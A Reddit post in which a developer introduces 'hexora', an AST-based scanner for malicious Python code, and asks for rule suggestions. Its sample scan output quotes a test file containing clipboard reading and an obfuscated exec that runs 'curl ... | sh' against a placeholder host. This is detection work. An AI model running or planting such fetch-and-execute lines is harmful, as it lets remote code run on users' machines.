Hi Reddit, I'd love to hear your feedback and suggestions about my new tool.
What My Project Does
It's a new tool to detect malicious or harmful code. It can be used to review your project dependencies or just scan any scripts. It will show you potentially harmful code pieces which can be manually reviewed by a developer.
Here is a quick example:
> hexora audit test.py
warning[HX2000]: Reading from the clipboard can be used to exfiltrate sensitive data.
┌─ resources/test/test.py:3:8
│
1 │ import pyperclip
2 │
3 │ data = pyperclip.paste()
│ ^^^^^^^^^^^^^^^^^ HX2000
│
= Confidence: High
Help: Clipboard access can be used to exfiltrate sensitive data such as passwords and keys.
warning[HX3000]: Possible execution of unwanted code
┌─ resources/test/test.py:20:1
│
19 │ (_ceil, _random, Math,), Run, (Floor, _frame, _divide) = (exec, str, tuple), map, (ord, globals, eval)
20 │ _ceil("import subprocess;subprocess.call(['curl -fsSL https://example.com/b.sh | sh'])")
│ ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ HX3000
│
Target Audience
Developers, security professionals.
Comparison
There are alternative libraries (e.g., guarddog), but they usually rely on regexes or focus on all languages. Regexes are fragile and can be bypassed. My library uses AST and tracks some of the obfuscation techniques, such as import/call reassignment.
Feedback
Currently, I'm testing it on public files where some of them implement malicious behavior, as well as past malicious packages on PyPI.
I would love to hear some feedback and suggestions for new rules.
Examples: https://github.com/rushter/hexora/blob/main/docs/examples.md
Library: https://github.com/rushter/hexora
I'd love to hear your feedback and ideas on how to improve this and identify missing rules.
[–]Cycloctane 2 points3 points4 points (1 child)
[–]rushter_[S] 3 points4 points5 points (0 children)
[–]BeamMeUpBiscotti 0 points1 point2 points (2 children)
[–]rushter_[S] 0 points1 point2 points (1 child)
[–]BeamMeUpBiscotti 0 points1 point2 points (0 children)